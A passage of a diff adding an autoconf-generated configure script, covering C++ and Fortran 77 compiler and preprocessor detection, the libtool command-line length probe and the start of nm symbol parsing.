"${ac_cv_prog_cxx_g+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_save_cxx_werror_flag=$ac_cxx_werror_flag + ac_cxx_werror_flag=yes + ac_cv_prog_cxx_g=no + CXXFLAGS="-g" + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +int +main () +{ + + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_cxx_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_prog_cxx_g=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + CXXFLAGS="" + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +int +main () +{ + + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_cxx_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + : +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cxx_werror_flag=$ac_save_cxx_werror_flag + CXXFLAGS="-g" + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +int +main () +{ + + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_cxx_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_prog_cxx_g=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext + ac_cxx_werror_flag=$ac_save_cxx_werror_flag +fi +{ echo "$as_me:$LINENO: result: $ac_cv_prog_cxx_g" >&5 +echo "${ECHO_T}$ac_cv_prog_cxx_g" >&6; } +if test "$ac_test_CXXFLAGS" = set; then + CXXFLAGS=$ac_save_CXXFLAGS +elif test $ac_cv_prog_cxx_g = yes; then + if test "$GXX" = yes; then + CXXFLAGS="-g -O2" + else + CXXFLAGS="-g" + fi +else + if test "$GXX" = yes; then + CXXFLAGS="-O2" + else + CXXFLAGS= + fi +fi +ac_ext=cpp +ac_cpp='$CXXCPP $CPPFLAGS' +ac_compile='$CXX -c $CXXFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CXX -o conftest$ac_exeext $CXXFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_cxx_compiler_gnu + +ac_ext=cpp +ac_cpp='$CXXCPP $CPPFLAGS' +ac_compile='$CXX -c $CXXFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CXX -o conftest$ac_exeext $CXXFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_cxx_compiler_gnu +{ echo "$as_me:$LINENO: checking how to run the C++ preprocessor" >&5 +echo $ECHO_N "checking how to run the C++ preprocessor... $ECHO_C" >&6; } +if test -z "$CXXCPP"; then + if test "${ac_cv_prog_CXXCPP+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + # Double quotes because CXXCPP needs to be expanded + for CXXCPP in "$CXX -E" "/lib/cpp" + do + ac_preproc_ok=false +for ac_cxx_preproc_warn_flag in '' yes +do + # Use a header file that comes with gcc, so configuring glibc + # with a fresh cross-compiler works. + # Prefer to if __STDC__ is defined, since + # exists even on freestanding compilers. + # On the NeXT, cc -E runs the code through the compiler's parser, + # not just through cpp. "Syntax error" is here to catch this case. + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#ifdef __STDC__ +# include +#else +# include +#endif + Syntax error +_ACEOF +if { (ac_try="$ac_cpp conftest.$ac_ext" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_cpp conftest.$ac_ext") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } >/dev/null; then + if test -s conftest.err; then + ac_cpp_err=$ac_cxx_preproc_warn_flag + ac_cpp_err=$ac_cpp_err$ac_cxx_werror_flag + else + ac_cpp_err= + fi +else + ac_cpp_err=yes +fi +if test -z "$ac_cpp_err"; then + : +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + # Broken: fails on valid input. +continue +fi + +rm -f conftest.err conftest.$ac_ext + + # OK, works on sane cases. Now check whether nonexistent headers + # can be detected and how. + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include +_ACEOF +if { (ac_try="$ac_cpp conftest.$ac_ext" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_cpp conftest.$ac_ext") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } >/dev/null; then + if test -s conftest.err; then + ac_cpp_err=$ac_cxx_preproc_warn_flag + ac_cpp_err=$ac_cpp_err$ac_cxx_werror_flag + else + ac_cpp_err= + fi +else + ac_cpp_err=yes +fi +if test -z "$ac_cpp_err"; then + # Broken: success on invalid input. +continue +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + # Passes both tests. +ac_preproc_ok=: +break +fi + +rm -f conftest.err conftest.$ac_ext + +done +# Because of `break', _AC_PREPROC_IFELSE's cleaning code was skipped. +rm -f conftest.err conftest.$ac_ext +if $ac_preproc_ok; then + break +fi + + done + ac_cv_prog_CXXCPP=$CXXCPP + +fi + CXXCPP=$ac_cv_prog_CXXCPP +else + ac_cv_prog_CXXCPP=$CXXCPP +fi +{ echo "$as_me:$LINENO: result: $CXXCPP" >&5 +echo "${ECHO_T}$CXXCPP" >&6; } +ac_preproc_ok=false +for ac_cxx_preproc_warn_flag in '' yes +do + # Use a header file that comes with gcc, so configuring glibc + # with a fresh cross-compiler works. + # Prefer to if __STDC__ is defined, since + # exists even on freestanding compilers. + # On the NeXT, cc -E runs the code through the compiler's parser, + # not just through cpp. "Syntax error" is here to catch this case. + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#ifdef __STDC__ +# include +#else +# include +#endif + Syntax error +_ACEOF +if { (ac_try="$ac_cpp conftest.$ac_ext" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_cpp conftest.$ac_ext") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } >/dev/null; then + if test -s conftest.err; then + ac_cpp_err=$ac_cxx_preproc_warn_flag + ac_cpp_err=$ac_cpp_err$ac_cxx_werror_flag + else + ac_cpp_err= + fi +else + ac_cpp_err=yes +fi +if test -z "$ac_cpp_err"; then + : +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + # Broken: fails on valid input. +continue +fi + +rm -f conftest.err conftest.$ac_ext + + # OK, works on sane cases. Now check whether nonexistent headers + # can be detected and how. + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include +_ACEOF +if { (ac_try="$ac_cpp conftest.$ac_ext" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_cpp conftest.$ac_ext") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } >/dev/null; then + if test -s conftest.err; then + ac_cpp_err=$ac_cxx_preproc_warn_flag + ac_cpp_err=$ac_cpp_err$ac_cxx_werror_flag + else + ac_cpp_err= + fi +else + ac_cpp_err=yes +fi +if test -z "$ac_cpp_err"; then + # Broken: success on invalid input. +continue +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + # Passes both tests. +ac_preproc_ok=: +break +fi + +rm -f conftest.err conftest.$ac_ext + +done +# Because of `break', _AC_PREPROC_IFELSE's cleaning code was skipped. +rm -f conftest.err conftest.$ac_ext +if $ac_preproc_ok; then + : +else + { { echo "$as_me:$LINENO: error: C++ preprocessor \"$CXXCPP\" fails sanity check +See \`config.log' for more details." >&5 +echo "$as_me: error: C++ preprocessor \"$CXXCPP\" fails sanity check +See \`config.log' for more details." >&2;} + { (exit 1); exit 1; }; } +fi + +ac_ext=cpp +ac_cpp='$CXXCPP $CPPFLAGS' +ac_compile='$CXX -c $CXXFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CXX -o conftest$ac_exeext $CXXFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_cxx_compiler_gnu + + +ac_ext=f +ac_compile='$F77 -c $FFLAGS conftest.$ac_ext >&5' +ac_link='$F77 -o conftest$ac_exeext $FFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_f77_compiler_gnu +if test -n "$ac_tool_prefix"; then + for ac_prog in g77 f77 xlf frt pgf77 cf77 fort77 fl32 af77 f90 xlf90 pgf90 pghpf epcf90 gfortran g95 f95 fort xlf95 ifort ifc efc pgf95 lf95 ftn + do + # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args. +set dummy $ac_tool_prefix$ac_prog; ac_word=$2 +{ echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6; } +if test "${ac_cv_prog_F77+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$F77"; then + ac_cv_prog_F77="$F77" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; }; then + ac_cv_prog_F77="$ac_tool_prefix$ac_prog" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done +IFS=$as_save_IFS + +fi +fi +F77=$ac_cv_prog_F77 +if test -n "$F77"; then + { echo "$as_me:$LINENO: result: $F77" >&5 +echo "${ECHO_T}$F77" >&6; } +else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } +fi + + + test -n "$F77" && break + done +fi +if test -z "$F77"; then + ac_ct_F77=$F77 + for ac_prog in g77 f77 xlf frt pgf77 cf77 fort77 fl32 af77 f90 xlf90 pgf90 pghpf epcf90 gfortran g95 f95 fort xlf95 ifort ifc efc pgf95 lf95 ftn +do + # Extract the first word of "$ac_prog", so it can be a program name with args. +set dummy $ac_prog; ac_word=$2 +{ echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6; } +if test "${ac_cv_prog_ac_ct_F77+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$ac_ct_F77"; then + ac_cv_prog_ac_ct_F77="$ac_ct_F77" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; }; then + ac_cv_prog_ac_ct_F77="$ac_prog" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done +IFS=$as_save_IFS + +fi +fi +ac_ct_F77=$ac_cv_prog_ac_ct_F77 +if test -n "$ac_ct_F77"; then + { echo "$as_me:$LINENO: result: $ac_ct_F77" >&5 +echo "${ECHO_T}$ac_ct_F77" >&6; } +else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } +fi + + + test -n "$ac_ct_F77" && break +done + + if test "x$ac_ct_F77" = x; then + F77="" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ echo "$as_me:$LINENO: WARNING: In the future, Autoconf will not detect cross-tools +whose name does not start with the host triplet. If you think this +configuration is useful to you, please write to autoconf@gnu.org." >&5 +echo "$as_me: WARNING: In the future, Autoconf will not detect cross-tools +whose name does not start with the host triplet. If you think this +configuration is useful to you, please write to autoconf@gnu.org." >&2;} +ac_tool_warned=yes ;; +esac + F77=$ac_ct_F77 + fi +fi + + +# Provide some information about the compiler. +echo "$as_me:$LINENO: checking for Fortran 77 compiler version" >&5 +ac_compiler=`set X $ac_compile; echo $2` +{ (ac_try="$ac_compiler --version >&5" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compiler --version >&5") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } +{ (ac_try="$ac_compiler -v >&5" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compiler -v >&5") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } +{ (ac_try="$ac_compiler -V >&5" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compiler -V >&5") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } +rm -f a.out + +# If we don't use `.F' as extension, the preprocessor is not run on the +# input file. (Note that this only needs to work for GNU compilers.) +ac_save_ext=$ac_ext +ac_ext=F +{ echo "$as_me:$LINENO: checking whether we are using the GNU Fortran 77 compiler" >&5 +echo $ECHO_N "checking whether we are using the GNU Fortran 77 compiler... $ECHO_C" >&6; } +if test "${ac_cv_f77_compiler_gnu+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF + program main +#ifndef __GNUC__ + choke me +#endif + + end +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_f77_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_compiler_gnu=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_compiler_gnu=no +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +ac_cv_f77_compiler_gnu=$ac_compiler_gnu + +fi +{ echo "$as_me:$LINENO: result: $ac_cv_f77_compiler_gnu" >&5 +echo "${ECHO_T}$ac_cv_f77_compiler_gnu" >&6; } +ac_ext=$ac_save_ext +ac_test_FFLAGS=${FFLAGS+set} +ac_save_FFLAGS=$FFLAGS +FFLAGS= +{ echo "$as_me:$LINENO: checking whether $F77 accepts -g" >&5 +echo $ECHO_N "checking whether $F77 accepts -g... $ECHO_C" >&6; } +if test "${ac_cv_prog_f77_g+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + FFLAGS=-g +cat >conftest.$ac_ext <<_ACEOF + program main + + end +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_f77_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_prog_f77_g=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_prog_f77_g=no +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext + +fi +{ echo "$as_me:$LINENO: result: $ac_cv_prog_f77_g" >&5 +echo "${ECHO_T}$ac_cv_prog_f77_g" >&6; } +if test "$ac_test_FFLAGS" = set; then + FFLAGS=$ac_save_FFLAGS +elif test $ac_cv_prog_f77_g = yes; then + if test "x$ac_cv_f77_compiler_gnu" = xyes; then + FFLAGS="-g -O2" + else + FFLAGS="-g" + fi +else + if test "x$ac_cv_f77_compiler_gnu" = xyes; then + FFLAGS="-O2" + else + FFLAGS= + fi +fi + +G77=`test $ac_compiler_gnu = yes && echo yes` +ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu + + + +# Autoconf 2.13's AC_OBJEXT and AC_EXEEXT macros only works for C compilers! + +# find the maximum length of command line arguments +{ echo "$as_me:$LINENO: checking the maximum length of command line arguments" >&5 +echo $ECHO_N "checking the maximum length of command line arguments... $ECHO_C" >&6; } +if test "${lt_cv_sys_max_cmd_len+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + i=0 + teststring="ABCD" + + case $build_os in + msdosdjgpp*) + # On DJGPP, this test can blow up pretty badly due to problems in libc + # (any single argument exceeding 2000 bytes causes a buffer overrun + # during glob expansion). Even if it were fixed, the result of this + # check would be larger than it should be. + lt_cv_sys_max_cmd_len=12288; # 12K is about right + ;; + + gnu*) + # Under GNU Hurd, this test is not required because there is + # no limit to the length of command line arguments. + # Libtool will interpret -1 as no limit whatsoever + lt_cv_sys_max_cmd_len=-1; + ;; + + cygwin* | mingw*) + # On Win9x/ME, this test blows up -- it succeeds, but takes + # about 5 minutes as the teststring grows exponentially. + # Worse, since 9x/ME are not pre-emptively multitasking, + # you end up with a "frozen" computer, even though with patience + # the test eventually succeeds (with a max line length of 256k). + # Instead, let's just punt: use the minimum linelength reported by + # all of the supported platforms: 8192 (on NT/2K/XP). + lt_cv_sys_max_cmd_len=8192; + ;; + + amigaos*) + # On AmigaOS with pdksh, this test takes hours, literally. + # So we just punt and use a minimum line length of 8192. + lt_cv_sys_max_cmd_len=8192; + ;; + + netbsd* | freebsd* | openbsd* | darwin* ) + # This has been around since 386BSD, at least. Likely further. + if test -x /sbin/sysctl; then + lt_cv_sys_max_cmd_len=`/sbin/sysctl -n kern.argmax` + elif test -x /usr/sbin/sysctl; then + lt_cv_sys_max_cmd_len=`/usr/sbin/sysctl -n kern.argmax` + else + lt_cv_sys_max_cmd_len=65536 # usable default for *BSD + fi + # And add a safety zone + lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \/ 4` + ;; + + *) + # If test is not a shell built-in, we'll probably end up computing a + # maximum length that is only half of the actual maximum length, but + # we can't tell. + SHELL=${SHELL-${CONFIG_SHELL-/bin/sh}} + while (test "X"`$SHELL $0 --fallback-echo "X$teststring" 2>/dev/null` \ + = "XX$teststring") >/dev/null 2>&1 && + new_result=`expr "X$teststring" : ".*" 2>&1` && + lt_cv_sys_max_cmd_len=$new_result && + test $i != 17 # 1/2 MB should be enough + do + i=`expr $i + 1` + teststring=$teststring$teststring + done + teststring= + # Add a significant safety factor because C++ compilers can tack on massive + # amounts of additional arguments before passing them to the linker. + # It appears as though 1/2 is a usable value. + lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \/ 2` + ;; + esac + +fi + +if test -n $lt_cv_sys_max_cmd_len ; then + { echo "$as_me:$LINENO: result: $lt_cv_sys_max_cmd_len" >&5 +echo "${ECHO_T}$lt_cv_sys_max_cmd_len" >&6; } +else + { echo "$as_me:$LINENO: result: none" >&5 +echo "${ECHO_T}none" >&6; } +fi + + + + +# Check for command to grab the raw symbol name followed by C symbol from nm. +{ echo "$as_me:$LINENO: checking command to parse $NM output from $compiler object" >&5 +echo $ECHO_N "checking command to parse $NM output from $compiler object... $ECHO_C" >&6; } +if test "${lt_cv_sys_global_symbol_pipe+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + +# These are sane defaults that work on at least a few old systems. +# [They come from Ultrix. What could be older than Ultrix?!! ;)] + +# Character class describing NM global symbol codes. +symcode='[BCDEGRST]' + +# Regexp to match symbols that can be accessed directly from C. +sympat='\([_A-Za-z][_A-Za-z0-9]*\)' + +# Transform the above into a raw symbol and a C symbol. +symxfrm='\1 \2\3 \3' + +# Transform an extracted symbol line into a proper C declaration +lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^. .* \(.*\)$/extern int \1;/p'" + +# Transform an extracted symbol line into symbol name and symbol address +lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (lt_ptr) 0},/p' -e 's/^$symcode \([^ ]*\) \([^ ]*\)$/ {\"\2\", (lt_ptr) \&\2},/p'" + +# Define system-specific variables. +case $host_os in +aix*) + symcode='[BCDT]' + ;; +cygwin* | mingw* | pw32*) + symcode='[ABCDGISTW]' + ;; +hpux*) # Its linker distinguishes data from code symbols + if test "$host_cpu" = ia64; then + symcode='[ABCDEGRST]' + fi + lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'" + lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (lt_ptr) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (lt_ptr) \&\2},/p'" + ;; +irix* | nonstopux*) + symcode='[BCDEGRST]' + ;; +osf*) + symcode='[BCDEGQRST]' + ;; +solaris* | sysv5*) + symcode='[BDRT]' + ;; +sysv4) + symcode='[DFNSTU]' + ;; +esac + +# Handle CRLF in mingw tool chain +opt_cr= +case $build_os in +mingw*) + opt_cr=`echo 'x\{0,1\}' | tr x '\015'` # option cr in regexp + ;; +esac + +# If we're using GNU nm, then use its standard symbol codes. +case `$NM -V 2>&1` in +*GNU* | *'with BFD'*) + symcode='[ABCDGIRSTW]' ;; +esac + +# Try without a prefix undercore, then with it. +for ac_symprfx in "" "_"; do + + # Write the raw and C identifiers. + lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[ ]\($symcode$symcode*\)[ ][ ]*\($ac_symprfx\)$sympat$opt_cr$/$symxfrm/p'" + + # Check 